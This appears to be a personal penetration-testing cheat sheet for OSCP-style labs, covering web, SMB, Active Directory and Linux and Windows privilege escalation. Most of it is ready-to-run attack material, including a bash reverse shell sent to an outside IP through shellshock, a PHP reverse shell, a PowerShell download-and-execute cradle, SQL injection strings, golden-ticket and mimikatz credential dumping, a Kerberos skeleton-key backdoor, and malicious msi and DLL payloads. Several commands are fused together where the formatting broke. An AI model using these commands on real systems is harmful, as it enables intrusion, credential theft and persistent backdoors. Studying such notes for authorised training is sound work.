All Notes
These are all the notes in one place unorganized
Get Proof Details From Original Location & Screenshot
HackTricks
hacking trick/technique/whatever learnt in CTFs, real life apps, and reading researches and news. Here you will find the typical flow that you should follow when pentesting one or more machines.
https://book.hacktricks.xyz/welcome/readme
Liodeus OSCP CheatSheet https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html
OWASP Cheat Sheets
a concise collection of high value information on specific application security topics. These cheat sheets were created by various application security professionals who have expertise in specific topics.
Scanning
Scan Multiple Hosts File Required
Scan Single Target
Proxychains autorecon
Enumeration
OSCP Learning Path
https://help.offensive-security.com/hc/en-us/articles/360050473812-PEN-200-Labs-Learning-Path
All Rounded Enumeration
https://www.xmind.net/m/QsNUEz/
Active Directory Enumeration
https://www.xmind.net/m/5dypm8/
HTTP
htaccess
Password Attack with medusa
View the website View source code
comments
<ahref tagsdirectories such as /assets/
download with curl
developer tools
manually review a web application for security issues using only the in-built tools in your browser.
Element inspector -- assists us with this by providing a live representation of what is currently on the website. ability to modify div parameters etc.
debugger -- digging deep into the JavaScript code. search for js files. use pretty print option to better view js. use breakpoints by clicking on code number line to stop execution. refresh page to view.
network -- used to keep track of every external request a webpage makes.
content discovery
ways of discovering hidden or private content on a webserver that could lead to new vulnerabilities.
favicon -- can give us a clue on what framework is in use. run
curl http://target/path/to/favicon.ico | md5sumtake the md5sum and pass it to https://wiki.owasp.org/index.php/OWASP_favicon_database to find the frameworksitemap.xml -- can sometimes contain areas of the website that are a bit more difficult to navigate to or even list some old webpages that the current site no longer uses but are still working behind the scenes.
Http headers -- run
curl http://target/ -vcontain useful information such as the webserver software and possibly the programming/scripting language in useFramework Stack -- Once you've established the framework of a website, either from the above favicon example or by looking for clues in the page source such as comments, copyright notices or credits, you can then locate the framework's website. From there, we can learn more about the software and other information, possibly leading to more content we can discover.
wappalyzer -- https://www.wappalyzer.com/ helps identify what technologies a website uses, such as frameworks, Content Management Systems (CMS), payment processors and much more, and it can even find version number.
wayback machine -- https://archive.org/web/ a historical archive of websites that dates back to the late 90s. You can search a domain name, and it will show you all the times the service scraped the web page and saved the contents. This service can help uncover old pages that may still be active on the current
Github -- You can use GitHub's search feature to look for company names or website names to try and locate repositories belonging to your target. Once discovered, you may have access to source code, passwords or other content that you hadn't yet found
s3 buckets -- a storage service provided by Amazon AWS, allowing people to save files and even static website content in the cloud accessible over HTTP and HTTPS. The owner of the files can set access permissions to either make files public, private and even writable. Sometimes these access permissions are incorrectly set and inadvertently allow access to files that shouldn't be available to the public. the format of the S3 buckets is
http(s)://{name}.s3.amazonaws.comwhere{name}is decided by the owner, such astryhackme-assets.s3.amazonaws.com. S3 buckets can be discovered in many ways, such as finding the URLs in the website's page source, GitHub repositories, or even automating the process. One common automation method is by using the company name followed by common terms such as{name}-assets,{name}-www,{name}-public,{name}-private, etc.
subdomain enumeration
ssl/tls certificates -- to discover subdomains belonging to a domain, sites like https://crt.sh and https://transparencyreport.google.com/https/certificates offer a searchable database of certificates that shows current and historical results.
search engines -- search term -site:www.tryhackme.com site:*.tryhackme.com, which should reveal a subdomain
dns bruteforce
Virtual Hosts --
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.example.com" -u http://MACHINE_IPadd-fs sizeto filter for non-valid subdomains
Authentication Bypass
user enumeration --
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://target/ -mr "username already exists"brute force --
ffuf -w users.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.199.37/customers/login -fc 200logic flaws -- flaw in the logic code
cookie tampering -- Examining and editing the cookies set by the web server during your online session can have multiple outcomes, such as unauthenticated access, access to another user's account, or elevated privileges
Insecure Direct Object Reference (IDOR) -- when a server does not check for the user thats currently logged in against the requested url. urls can contian ids etc. if you are able replace the data to something else and can see the data this confirms the vulnerability. Unpredictable Ids If the Id cannot be detected using the above methods, an excellent method of IDOR detection is to create two accounts and swap the Id numbers between them. If you can view the other users' content using their Id number. The vulnerable endpoint you're targeting may not always be something you see in the address bar. It could be content your browser loads in via an AJAX request or something that you find referenced in a JavaScript file.
Contaminating Log Files
nc $ip port
File inclusion
Local File inclusion
../../etc/passwd../../etc/passwd%00../../etc/passwd0x00....//....//....//....//....//etc/passwd/etc/passwd/././././././././././././etc/passwdif you are able to view the ssh log
/var/log/auth.logtry "poisoning" the log by ssh asssh '<?php system($_GET['cmd']); ?>'@targetipthis entry may or may not the user in the logs but still proceed withphp -r '$sock=fsockopen("yourIP",port);exec("/bin/sh -i <&3 >&3 2>&3");'<--- Url encode this with burpif ftp allows uploading of files you can call the script to gain a php reverse shell
Remote File inclusion -- One requirement for RFI is that the allow_url_fopen option needs to be on http://webapp.thm/index.php?lang=http://attacker.thm/cmd.php
Server-Side Request Forgery (SSRF)
https://website.thm/item/2?server=server.website.thm/flag?id=9&x=is equal tohttps://server.website.thm/flag?id=9&x=.website.thm/api/item?id=2Finding an SSRF
When a full URL is used in a parameter in the address bar:
A hidden field in a form:
A partial URL such as just the hostname:
Or perhaps only the path of the URL:
If working with a blind SSRF where no output is reflected back to you, you'll need to use an external HTTP logging tool to monitor requests such as requestbin.com, your own HTTP server or Burp Suite's Collaborator client.
Cross Site Scripting
Based on JavaScript. an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users.
Demonstrate that you can achieve XSS on a website
Session stealing
Content Injection
Key logger
Business logic
For example, imagine a JavaScript function for changing the user's email address called user.changeEmail(). Your payload could look like this:
Reflected XSS
Happens when user-supplied data in an HTTP request is included in the webpage source without any validation.
Test every possible point of entry; these include:
Parameters in the URL Query String URL File Path Sometimes HTTP Headers (although unlikely exploitable in practice)
A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source.
The application doesn't check the contents of the error parameter, which allows the attacker to insert malicious code.
The attacker could send links or embed them into an iframe on another website containing a JavaScript payload to potential victims getting them to execute code on their browser, potentially revealing session or customer information.
Stored XSS
As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page.
The malicious JavaScript could redirect users to another site, steal the user's session cookie, or perform other website actions while acting as the visiting user.
Test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to; a small example of these could be:
Comments on a blog User profile information Website Listings
Dom Based XSS
DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction.
How to test for Dom Based XSS:
DOM Based XSS can be challenging to test for and requires a certain amount of knowledge of JavaScript to read the source code. You'd need to look for parts of the code that access certain variables that an attacker can have control over, such as "window.location.x" parameters.
When you've found those bits of code, you'd then need to see how they are handled and whether the values are ever written to the web page's DOM or passed to unsafe JavaScript methods such as eval().
Blind XSS
You can't see the payload working or be able to test it against yourself first.
When testing for Blind XSS vulnerabilities, you need to ensure your payload has a call back (usually an HTTP request). This way, you know if and when your code is being executed. A popular tool for Blind XSS attacks is xsshunter. Although it's possible to make your own tool in JavaScript, this tool will automatically capture cookies, URLs, page contents and more.
Command Injection
Command injection is the abuse of an application's behaviour to execute commands on the operating system, using the same privileges that the application on a device is running with.
The curl command is a great way to test for command injection. This is because you are able to use curl to deliver data to and from an application in your payload. Take this code snippet below as an example, a simple curl payload to an application is possible for command injection.
Applications that use user input to populate system commands with data can often be combined in unintended behaviour. For example, the shell operators ;, & and &&
Command Injection can be detected in mostly one of two ways:
Blind command injection
Another method of detecting blind command injection is by forcing some output. This can be done by using redirection operators such as >. If you are unfamiliar with this, I recommend checking out the Linux fundamentals module. For example, we can tell the web application to execute commands such as whoami and redirect that to a file. We can then use a command such as cat to read this newly created file’s contents.
Verbose command injection
SQL Injection (May need Burp)
The point wherein a web application using SQL can turn into SQL Injection is when user-provided data gets included in the SQL query.
Blind based MSSQL injection through web app. will delay web page for 5 seconds if user is sa
run responder and attemp to capture hash.
Enumerating MSSQL
Get all available databases
Get everything in relation to tables from a database of interest
Get everything in relation to columns from a database of interest
Change to another database
Extract Data
https://website.thm/blog?id=1==SELECT * from blog where id=1 and private=0 LIMIT 1;and can be injected withhttps://website.thm/blog?id=2;--which will then look likeSELECT * from blog where id=2;-- and private=0 LIMIT 1;The semicolon in the URL signifies the end of the SQL statement, and the two dashes cause everything afterwards to be treated as a comment. By doing this, you're just, in fact, running the query:SELECT * from blog where id=2;--
'"-- find injection points0 UNION SELECT 1,2,database()-- this will depend on how many columns are available. two in 3 in this case.0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'database'-- will display tables from database0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'table'-- will display columns from table0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM table-- will display user and pass from table' OR 1=1;--1=1 is a true statement and we've used an OR operator, this will always cause the query to return as true, which satisfies the web applications logic that the database found a valid username/password combination and that access should be allowed.
the
LIKEoperator, we just have the value of %, which will match anything as it's the wildcard value. If we change the wildcard operator to a%, you'll see the response goes back to false, which confirms that the database name does not begin with the letter a. We can cycle through all the letters, numbers and characters such as - and _ until we discover a match. If you send the below as the username value, you'll receive a true response that confirms the database name begins with the letter s.admin123' UNION SELECT 1,2,3 where database() like 's%';--Now you move onto the next character of the database name until you find another true response, for example, 'sa%', 'sb%', 'sc%' etc. Keep on with this process until you discover all the characters of the database name, which is sqli_three.
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--now finding the username tableadmin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_four' and TABLE_NAME='analytics_referre_s' and COLUMN_NAME like 'a%';-- now enumerating users finding columnsadmin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';-- continue to find more columnsadmin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%-- find passwordTime based sql example, when trying to establish the number of columns in a table, you would use the following query:
admin123' UNION SELECT SLEEP(5);--If there was no pause in the response time, we know that the query was unsuccessful, so like on previous tasks, we add another column:admin123' UNION SELECT SLEEP(5),2;--This payload should have produced a 5-second time delay, which confirms the successful execution of the UNION statement and that there are two columns.
run nikto -h url`
davtest -auth user:pass -url http://127.0.0.1/ if webdav enabled may give us reverseshell with or without credentials
uploading files to gain reverseshell. which extensions are allowed?
.php
.php3
.php4
.php5
.phtml
PHP
"strcmp"vulnerabilityuser="x"pass[]="x"for authentication bypass. square bracketssearch application names, version numbers, to find associated known vulnerabilities with google
search for every php parameter for a potential directory traversal
../../etc/passwdyou may or may not need to increase the amount of directories needed(../)docker run -it milo2012/pathbrute -u http://10.129.95.233/ -s default -i -n 20
run "gobuster" to find common directories and pages
common.txt
big.txt
look for generated error/messages; this may lead to finding the application name
download the version software if possible or the closest version
can you edit the server PHP code to include a reverse shell
look for any names that can be used as usernames and or passwords
Bruteforce possible hidden website parameters
wfuzz -u website/file.php?FUZZ=/etc/passwd -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt --hw 0
if there is a robots.txt file or disallow list that can only be read with an "Engine User Agent" use wfuzz with -H "User-Agent: FUZZ" and the seclists useragent.fuzz.txt wordlists
if the target has multiple webservers there is a possiblity that when uploading files they will upload that file to another webserver on a different port
password attack and login pages with any potential usernames or default credentials
NagiosXI 5.6.6 and below
vulnerable to RCE; metasploit module
nagios_xi_plugins_check_plugin_authenticated_rce
Drupal 7
vulnerable to property injection in the Forms api; metasploit module
drupal_drupalgeddon2
Koken 0.22.24
shellshock vulnerability cgi
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://192.168.130.87/cgi-bin/vulnerable
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.16.7/80 0>&1'" http://$ip/cgi-bin/vulnerable.sh
Manage Engine ServiceDesk Plus 7.6.0
vulnerable to ManageEngine (Multiple Products) - (Authenticated) Arbitrary File Upload (Metasploit) metasploit module
manageengine_auth_upload
Kerberos
MS14-068
RPC Bind
Showmount
Can you mount the Network file share?
Retrive current logged in user privileges
Blindy check if you can change password
RPC
rpcdump.py 127.0.0.1 -p 135
Print Nightmare
https://github.com/calebstewart/CVE-2021-1675
https://github.com/cube0x0/CVE-2021-1675
Check For PrintNightmare
If the output is the following contains the following, it is vulnerable.
LDAP
Active Directory
Add domain name to “/etc/hosts” file
Any time you get creds re-run all of the remote AD tools against it with the creds (GetNPUsers, GetUserSPNs, secretsdump, etc).
Once you have access to the next box do it all over again. You may get lucky and get domain admin creds from the first box, or you may have to privesc again and re-roll through the process. This is where Bloodhound comes in handy, it’ll show you what permissions the accounts have that you found creds for. Some creds may work on multiple boxes, use crackmapexec to verify the creds with EVERY IP in the domain, don’t stop at the first box that works. Don’t forget to check the permissions/groups your current user is in. You may not find creds to another user, but your current one may have special permissions that allow you to modify access to resources, run certain processes as SYSTEM, or create new users or add them to certain groups.
Permissions For easy Win
members of Server-Operator can for example stop start services(sc.exe) and modify binPath="C:\Path\to\evil.exe"
This will potentially retrieve local admin using windows password Local Administrator Password Solution (LAPS)
Enumerate AD users. sometimes guest is enabled!
Enumerate domain admins. requires credentials
More enumeration on domain admins. requires crednetials
run windows command; if setting up revershell, use powershell and escape $ characters with \
This will dump domain credentials and or kerberos tickets. can be used with rdp session
With Valid Creds use to enumerate AD as user rerun after gaining more privileges
Start Bloodhound
or
Runs In Current Working Directory neo4j:neo4j
Bypassing AMSI
Server-Operator
Account Operators
Write DACL
SeRestorePrivilege (by itself)
SeBackupPrivilege SeRestorePrivilege
NTDS.dit and System.hive
GetChangesAll (DCSync)
ReadGMSApassword remotely
*ReadGMSApassword Without PowerView
ReadGMSApassword EXE
ForceChangePassword
GenericAll
GenericWrite
use this for reverseshell using scriptpath=, enumeration, or use serviceprincipalname= for kerberoast
WriteOwner
WriteOwner (For User)
Or
*Uncover Secure String Passwords
If credentials are in an xml
Using only the password string
Samba/SMB
When testing with smb try with null sessions, anonymous, and valid credentials
run enum4linux to possibly find users, shares, files
use "smbclient" to manually view the shares/files:
look for "GPP" Groups.xml -- may contain a "cpassword" and username
use
gpp-decrypt cpasswordto decrypt
look for lsass.zip or lsass.DMP -- may contain encrypted password, Kerberos tickets, NT hash, LM hash, DPAPI keys,and Smartcard PIN
use
pypykatz lsa minidump lsass.DMP
can you read or upload files?
Can you upload a file with a shell? Is there a service/cronjob that can execute your uploaded file?
smbget -R "smb://user:pass@IP/Share" -- recusivley get files replace user and pass with a space for null sessions
smbclient //IP/share
smbclient -N //IP/share -c ls | awk '{ print $1 }' -- this will get the names of the directories of the first column for potential users
ms09_050_smb2_negotiate_func_index Exploit (Windows Only)
try all three if needed smbexec,psexec,wmiexec (if you cannot upload ry tools anyway, you may get a shell)
psexec.py example.com/username@ip -- may or may not need credentials
psexec.py ./administrator@IP -hashes :NTHASH
smbexec.py user:password@IP
wmiexec
smbmap -u user -p pass -H IP -- smbmap work better than smbclient
smbmap -u SABatchJobs -p SABatchJobs -H megabank.local -A '.*' -R download everything
use allinfo file if download is 0 bytes it may be 'Alternate Data Streams (ADS)'
cme smb 10.10.10.161 -u '' -p '' -- checks for null sessions and this is different from anonymous loging
cme smb 10.10.10.161 -u 'anonymous' -p ''
cme smb 10.10.10.161 --pass-pol
cme smb 10.10.10.161 --users
cme smb 10.10.10.161 --groups
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-users
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --users
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' s --local-group
cme smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt
MySQL
use hydra with rockyou.txt and with root as the user for a less complicated password attack
Linux Privilege Escalation
echo os.system("/bin/bash")
check config.php for password reuse grep -rpci 'pass'
root password as root
run
sudo -lto see what you can run with sudo./linpeas.sh -q -e -a
Exploit network file sharing
configuration is kept in the /etc/exports file. privilege escalation vector is the “no_root_squash”. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.
cat /etc/exports - list shares on victim machine
mkdir /tmp/victimnfs - create tmp directory on attacker machine
mount -o rw victimIP:/home/backup /tmp/victimnfs - mount the victim network file share that has 'no_root_squash'
create shell with suid bits
gcc rootz.c -o rootz -w
chmod +s rootz
going back to victim machine execute the suid bit shell to gain root
Exploit Path Variable Manipulation
check /opt/ /var/opt
TCP-LISTEN:internet-facing-port,fork TCP:internal-ip:port &-- port redirectionlook for users in /etc/passwd
use usernames as passwords for bruteforcing ssh
if /etc/passwd is writeable add user with password >
echo 'thescriptkid:$6$CuxbQ7PO4S7csJM9$TIx0cYXhT./kZfOHgXd44OHecKCqClA2QH.r9lo4Q..nZ73OWLRFSdu4o2Qfotn4DHpJpSc.b.w0Cjto1qqjz.:0:0:comment:/root:/bin/bash' >> /etc/passwd-- thescriptkid:thescriptkid
Exploit +ep permission software
use getcap -r / 2> /dev/null to find said software
/usr/bin/python2.7 = cap_setuid+ep
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
vim - use py or py3 for python2 or python3
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
view
/view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
Check root and user cronjobs
/etc/cron.d/
crontab -l
cat /etc/crontab
Search for all SUID files find / -perm /4000 2> /dev/null and use https://gtfobins.github.io/
find / -perm /4000 2> /dev/null and use https://gtfobins.github.io/nmap
nmap --interactive
!/bin/bash -p
hping3 -p
run bash shell
zsh -p
run bash shell
gdb
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
base32 - can potentially read any file including root ssh keys
LFILE=/file/to/read && base32 "$LFILE" | base32 --decode
base64 - can potentially read any file including root ssh keys
LFILE=file_to_read
base64 "$LFILE" | base64 --decode
/bin/bash -p
cputlimit
cpulimit -l 100 -f cp /bin/bash .
cpulimit -l 100 -f chmod +s ./bash
./bash -p
php
php -r "pcntl_exec('/bin/sh', ['-p']);"
vim
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
systemctl
Exploit sudo
sudo nice /bin/sh
if sudoers file is restricting the nice command to
nice /directory/*then attemptsudo nice /directory/../bin/sh
sudo time /bin/sh
sudo mysql system /bin/bash
sudo su -
sudo systemctl restart apache2
sudo nmap
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo -u root nmap --script=$TF
man pages
sudo man man
!/bin/sh
sudo yum
sudo nano
reset; sh 1>&0 2>&0
check for kernel version maybe theres a exploit to run. use google for online exploit -- https://www.linuxkernelcves.com/
look for any readable .mysql_history files as they may contain strings that appear to be passwords
look for world writeable /etc/apache2/apache2.conf you can potentially replace the
UserandGrouptorootor anotheruserNOTE: restart apache2 service required and an uploaded php reverse shellsed -i 's/User ${APACHE_RUN_USER}/User userORroot/g' apache2.confsed -i 's/Group ${APACHE_RUN_GROUP}/Group userORroot/g' apache2.conf
exploit C scripts
if a script is using whoami and strncmp to compare a logged in username to a string to give rootshell, take advantage of the PATH variable and create a whoami script to print out the username.
PATH=/tmp/whoami:
dirty cow exploit https://www.exploit-db.com/exploits/40616 works versions below 4.4.2 - can be compiled in your kali machine
Windows Priv Esc
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.
Nodes represent principals and other objects in Active Directory.
Edges are part of the graph construct, and are represented as links that connect one node to another.
See All shortestPaths and Shortest Paths. Add LIMIT number to limit the output
MATCH p=allShortestPaths((n)-[*1..]->(m)) WHERE m.domain="DOMAIN.LOCAL" AND m<>n RETURN p MATCH p=ShortestPath((n)-[*1..]->(m)) WHERE m.domain="DOMAIN.LOCAL" AND m<>n RETURN p
Tactics represent the "why" of an ATT&CK technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action. For example, an adversary may want to achieve credential access.
https://attack.mitre.org/tactics/enterprise/
Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.
https://attack.mitre.org/techniques/enterprise/
An interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments. If you hate constantly looking up the right command to use against a Windows or Active Directory environment (like me), this project should help ease the pain a bit.
https://wadcoms.github.io/
Living Off The Land Techniques. Abusing Dual-Use Tools in windows
https://lolbas-project.github.io/
Windows PrivEsc Resources
https://sirensecurity.io/blog/windows-privilege-escalation-resources/
bypassuac-x64.exe -- or x32
Windows commands to run
Can you replace the binary with a reverse shell? i.e. if it’s currently running, rename it, upload a reverse shell with the original binary name, start an nc listener, then type shutdown -r to reboot the box and restart the service.
dir -force
sc queryex type=service
driverquery
schtasks /query /fo LIST /v
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
qwinsta - Other users logged in simultaneously
whoami /all
net user
net user /domain
net user 'user'
net user 'user' /domain
wmic useraccount
net group "Domain Computers" /domain
net group "Domain Controllers" /domain
net localgroup
net group /domain
net group 'groupname'
net group 'groupname' /domain
wmic group
wmic ntdomain
ipconfig /all
netstat -ano
icalcs file -- file and folder permissions
route print
arp -a
wmic logicaldisk get caption,description,providername
Enumerate Firewall
sc query windefend
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config
Password Hunting
findstr /si password *.txt *.ini *.config *.php findstr /si pass *.txt *.ini *.config *.php findstr /si password= *.txt *.ini *.config *.php *.pl *.xml findstr /si password *.txt *.ini *.config *.php *.pl *.xml *.xls *.xlsx *.csv *.doc *.docx findstr /si pass *.txt *.ini *.config *.php *.pl *.xml *.xls *.xlsx *.csv *.doc *.docx
Vulnerable Software
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic product get name,version,vendor
wmic service list brief | findstr "Running" - for more info on the listed services; use sc qc servicename
Offensive Powershell
https://gitbook.brainyou.stream/powershell/offensive-powershell
https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70
Powershell commands to run
Find files
Get-ChildItem -Path C:/ -Recurse -Hidden -ErrorAction SilentlyContinue -Include *example.txt*users
Get-LocalUserUsers with no password required
Get-LocalUser | Where-Object -Property PasswordRequired -Match falseGroups
Get-LocalGroupHotfixes
Get-Hotfixscheduled tasks
Get-ScheduledTaskget access control lists
get-acl directorysetspn -T domain -Q */*-- extract all accounts in the SPN. enter domain without tldlist running services
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}Get-Service | Where-Object {$_.Status -eq "Running"} -- look for unusual services or exploitable
windowscheduler
check
C:\Program Files (x86)\SystemScheduler\Eventslog files. for any running events. this is similar to linux cronjobs.
PowerView Commands
Load PowerView.ps1 in memory
Enumerate All but the most interesting group using
Depending on the user or group found in "IdentityReference" from the output get-objectacl -SamAccountName "Interesting Group" -ResolveGUIDs run.
Look for Passwords in User Descriptions
Get SPNs
Request Service Ticket
powershell -exec bypass "iex (New-Object Net.WebClient).DownloadString('http://192.168.119.241:8080/powerview.ps1');Get-NetLoggedon -ComputerName DC01"
Get-DomainGroup -MemberIdentity SomeUser | select samaccountname
Get-NetComputer | select operatingsystem - gets a list of all operating systems on the domain
Get-NetUser | select cn - gets a list of all users on the domain
Get-ADPrincipalGroupMembership "username" | select name
Get-SmbShare -- lists shares
Get-NetComputer | select operatingsystem -- show other windows machines OS's
get-netloggedon -computername name -- can get from systeminfo
get-netsession -computername name -- can get over the network
Get-NetDomain
Get-NetDomainController
Get-DomainPolicy
(Get-DomainPolicy)."system access"
Get-NetUser | select eg select cn, description
Get-userProperty -Properties pwdlastset
Don't attack accounts with low logoncount because they might be honeypot account. As soon as you compromise it, the security team will be alerted of your presence
If a group has
WriteDaclprivileges on the Domain. The WriteDACL privilege gives a user the ability to add ACLs to an object. This means that we can add a user to this group and give themDCSyncprivileges.net user thescriptkid thescriptkid /add /domainnet group groupname thescriptkid /add-- you may or not need to add the user to another group$pass = convertto-securestring 'thescriptkid' -asplain -force$cred = new-object system.management.automation.pscredential('htb\thescriptkid', $pass)Add-ObjectACL -PrincipalIdentity thescriptkid -Credential $cred -Rights DCSyncUse secretsdump.py to dump hashes and pass the hash or crack
If
AppLockeris configured with default AppLocker rules, we can bypass it by placing our executable in the following directory:C:\Windows\System32\spool\drivers\color- This is whitelisted by default.get history commands
cat ~/appdata/roaming/microsoft/windows/powershell/psreadline/consolehost_history.txtInvoke-Kerberoast.ps1- upload from kali and runInvoke-Kerberoast -OutputFormat hashcat | flInvoke-Mimikatz -command '"base64 /output:true" "kerberos::list /export"'- export tickets to base64kirbi2john file.kirbi hash.txt- convert .kirbi tickets to crackable hash formathttps://github.com/GhostPack/Rubeus
Rubeus.exe harvest /interval:30 -- This command tells Rubeus to harvest for TGTs(tickets) every 30 seconds
Rubeus.exe brute /password:Password1 /noticket -- bruteforcing. you must add the domain controller domain name to windows hosts before using rubeus.exe
echo 127.0.0.1 example.com >> C:\Windows\System32\drivers\etc\hostsRubeus.exe kerberoast -- kerberosting. This will dump the Kerberos hash of any kerberoastable users. use hashcat -m 13100 -a 0 hash wordlist for hash type
$krb5tgs$23Rubeus.exe asreproast -- AS-Rep roasting. Dumping KRBASREP5 Hashes. Be sure to Insert
23$after$krb5asrep$so that the first line will be$krb5asrep$23. use hashcat -m 18200 for hash type$krb5asrep$23$mimikatz.exe -- this will enter a mimikatz interactive cli
privilege::debug-- this will showPrivilege '20' OKif you have admin privileges. mimikatz will not run properly if you do not have admin rights.sekurlsa::tickets /export-- this will export all of the .kirbi tickets into the directory that you are currently in. this will also show the base 64 encoded tickets.you wanting to impersonate a ticket. look for an administrator ticket from krbtgt. example
mimikatz # kerberos::ptt [0;3d27e]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbithis will cache and impersonate the ticket
lsadump::lsa /inject /name:krbtgt-- Dump the krbtgt Hashes. This will dump the hash as well as the security identifier needed to create a Golden Ticket. To create a silver ticket you need to change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account.lsadump::lsa /patch-- dump hasheskerberos::golden /user:administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 <--primary ntlm hash /id:500-- This is the command for creating a golden ticket to create a silver ticket simply put a service NTLM hash into the krbtgt slot, the sid of the service account into sid, and change the id to 1103.misc::cmd-- this will open a new elevated command prompt with the given ticket in mimikatzmisc::skeleton-- Installing Kerberos Backdoors.
klistto verify the impersonated ticket as this will list cached tickets. having impersonated tickets can give you access to sensitive data or serverone liner mimikatz
C:\windows\system32\spool\drivers\color\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords /all" "lsadump::sam" "sekurlsa::tickets" "exit"automate Misconfiguration Checks with
PowerUp.ps1using meterpreter shell
meterpreter > upload /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1meterpreter > load powershellmeterpreter > powershell_shellPS > . .\PowerUp.ps1PS > Invoke-AllChecks
DNSadmins to system -- user must be apart of the dnsadmins group
create dll
msfvenom -p windows/x64/exec cmd='net user administrator Password! /domain' -f dll > da.dllcreate smbshare to evade WindowsDefenderr
sudo smbserver.py share ./retrieve and set the remote path to the dll into windows reg
cmd /c dnscmd localhost /config /serverlevelplugindll \\IP\share\da.dllsmb server must be runningrestart dns on windows machine
sc.exe stop dns
sc.exe start dns
Scheduled Tasks
schtasks -- you may see a scheduled task that either lost its binary or using a binary you can modify.
Saved credentials --
cmdkey /listwill saved credentialsIf you see any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below.
runas /savecred /user:admin reverse_shell.exe
Registry keys -- Registry keys potentially containing passwords can be queried using the commands below.
reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /sUnattend files -- potential users passwords are stored in base64.
C:\Windows\Panther\Unattend\Unattended.xmlAlwaysInstallElevated -- to work requirements must be enabled.
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer -- must be on
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer -- must be on
msfvenom -p windows/x64/shell_reverse_tcpLHOST=ATTACKING_10.10.10.223 LPORT=LOCAL_PORT -f msi -o malicious.msi -- generate msi
create listener on attacking machine
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi -- install
DLL Hijacking
to find potential DLL hijacking vulnerabilities is Process Monitor (ProcMon). As ProcMon will require administrative privileges to work, this is not a vulnerability you can uncover on the target system.
look for NAME NOT FOUND; this means that its trying to call the dll but cannot find it, thus allowing the attacker to create a malicious dll and place it in the path where its trying to call it.
to create a malicious dll save as c. mingw compiler can be used to generate the DLL.
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll. transfer the file to the windows machine.apt install gcc-mingw-w64-x86-64to install on linux
restart the dllsvc service
sc stop dllsvc & sc start dllsvc
unquoated service paths vulnerability
wmic service get name,displayname,pathname,startmode- this will list services running orsc query state= allsc qc unquotedsvc- this will further check the binary path of this service.\accesschk64.exe /accepteula -uwdq "C:\Program Files\"-- this will check our privileges on folders inthe path. the goal is to find a folder that is writable.sc start unquotedsvc- to start the service use cmdif
CanRestartisTrue-- create malicous reverse shell executable with msfvenom and replace the service executable with the malicous one.
